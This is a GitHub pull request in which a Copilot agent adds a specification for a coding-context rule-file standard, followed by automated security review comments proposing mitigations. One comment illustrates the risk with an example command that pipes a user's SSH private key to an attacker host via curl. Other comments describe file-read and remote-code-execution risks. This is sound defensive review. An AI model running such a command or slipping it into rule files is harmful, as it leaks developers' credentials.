Add Coding Context Standard Specification

[Copilot]

Reverse-engineered the implicit standard from codebase and documentation, producing a formal specification document.

Changes

Created SPECIFICATION.md (1,637 lines)

• File Formats: Rules (.md, .mdc), tasks, commands, skills with YAML frontmatter
• Directory Structure: Project/user-level conventions for .agents/, .cursor/, .github/, etc.
• Frontmatter Schema: Standard fields (languages, stage, agent, selectors, expand, resume, timeout, model, etc.) with JSON Schema
• Content Expansion: Parameter (${var}), command (!`cmd`), path (@file), slash (/cmd) with single-pass security model
• Selector System: Frontmatter-based filtering with AND logic, array OR logic, special rule_name and resume selectors
• Bootstrap Scripts: {name}-bootstrap executable convention, stderr-only output
• Agent Targeting: Support for 8 agents (cursor, copilot, claude, gemini, opencode, augment, windsurf, codex)
• Discovery: Search path precedence, file matching rules, remote directory support via go-getter
• Context Assembly: Order of task frontmatter, skills XML, rule content, task content, user prompt
• Design Rationale: Convention over configuration, single-pass expansion, filename-based task matching, top-level frontmatter only
• Appendices: JSON Schema, extension registry, field reference tables, language value list

Updated Documentation

• Added specification link to README.md
• Created docs/reference/specification.md with overview
• Updated reference and main documentation indexes

Example

The specification formalizes patterns like:

# Task file: .agents/tasks/fix-bug.md
---
selectors:
  languages: [go, python]
  stage: implementation
expand: true
---

# Fix Bug: ${issue_number}

/pre-checks

Fix issue described in: @.github/ISSUE_TEMPLATE.md
Current status: !`git status`

Defines how this task auto-filters rules, expands content, and assembles context.

Original prompt

This project implies a standard for coding contexts. Reverse engineer the standard and produce a specification for it.

---

✨ Let Copilot coding agent set things up for you — coding agent works faster and does higher quality work when set up for your repo.

[Copilot]

Pull request overview

This PR introduces a formal specification for the Coding Context Standard by reverse-engineering the implicit conventions from the existing codebase and documentation. It provides a comprehensive reference document that formalizes file formats, directory structures, metadata schemas, and processing rules.

Key Changes

• Created a 1,637-line SPECIFICATION.md document that formally defines all aspects of the Coding Context Standard
• Added specification references to documentation index pages and README
• Includes JSON Schema, field references, and language value appendices

Reviewed changes

Copilot reviewed 5 out of 5 changed files in this pull request and generated 3 comments.

Show a summary per file

File	Description
SPECIFICATION.md	Complete formal specification covering file formats, frontmatter schemas, content expansion, selectors, bootstrap scripts, agent targeting, discovery paths, and context assembly with extensive examples and appendices
docs/reference/specification.md	Overview page for the specification with quick reference and links to full document
docs/reference/index.md	Updated reference index to include specification link
docs/index.md	Updated main documentation index to include specification reference
README.md	Added prominent link to the specification document

[Copilot]

The Command expansion feature explicitly executes shell commands via sh -c for any !`command` sequence in rule/task content, which enables arbitrary code execution when Markdown files come from untrusted sources (e.g., cloned repositories or remote directories).
An attacker who can edit or supply a .agents/rules file can embed something like !cat ~/.ssh/id_rsa | curl https://attacker``, and these commands will run with the user's privileges whenever context is assembled.
To mitigate this, restrict or disable shell execution by default (especially for untrusted locations), or add a strict opt-in/allowlist model so that only explicitly trusted rules can invoke ! commands.

Suggested change

	**Security:** Only use with trusted files
	**Security:**
	- Command expansion MUST be **disabled by default**.
	- Users MUST explicitly opt in (e.g., via a CLI flag or configuration option) to enable command expansion.
	- Only enable command expansion for **trusted rule/task sources**, such as local, user-maintained directories or an explicit allowlist of paths/repositories.
	- Never enable command expansion for untrusted content (e.g., freshly cloned repositories, remote directories, or third-party `.agents` files) unless they have been independently reviewed and marked as trusted.
	- Implementations SHOULD provide a way to permanently disable this feature at the installation or system level.

[Copilot]

The Path expansion syntax @path allows any rule or task to read arbitrary files from the local filesystem (including absolute paths and .. components), and the contents are inlined verbatim into the assembled context.
If an attacker controls a Markdown rule/task (locally or via a remote ruleset), they can exfiltrate sensitive files such as SSH keys, API tokens, or config files into the AI prompt output without any path restriction or prompting.
Consider constraining @path to a safe root (e.g., within the current repo), adding a denylist for obviously sensitive locations, or providing a “safe mode” where @path is disabled or requires explicit user approval for non-project files.

Suggested change

	- If file not found, syntax remains unchanged
	- Warning logged for missing files
	- Content included verbatim
	- Paths MUST be resolved relative to a defined project root (for example, the current repository); absolute paths and `..` components MUST be rejected.
	- Implementations MUST prevent `@path` from reading files outside the project root and SHOULD apply a denylist for obviously sensitive locations (for example, SSH keys, cloud credentials, OS keychains).
	- If file not found or rejected by security policy, the `@path` syntax remains unchanged and a warning is logged.
	- When allowed, file content is included verbatim into the assembled context; tools MUST treat this as a potential data‑exfiltration vector and MAY offer a “safe mode” (for example, disabling `@path` or requiring explicit user approval for non-project files).

[Copilot]

The Remote directories feature downloads arbitrary directories over HTTP/git/S3 via go-getter and then processes them "like local directories", which includes executing rule bootstrap scripts and ! command expansions from those remote files.
Because there is no integrity verification, pinning to immutable versions, or trust boundary between local and remote rules, a compromised or malicious remote ruleset can achieve full remote code execution on the developer machine when coding-context is run.
To reduce this supply-chain risk, add integrity checks (hashes/signatures), require explicit trust/whitelisting for remote URLs, and/or disable bootstraps and shell command expansions for remote sources by default.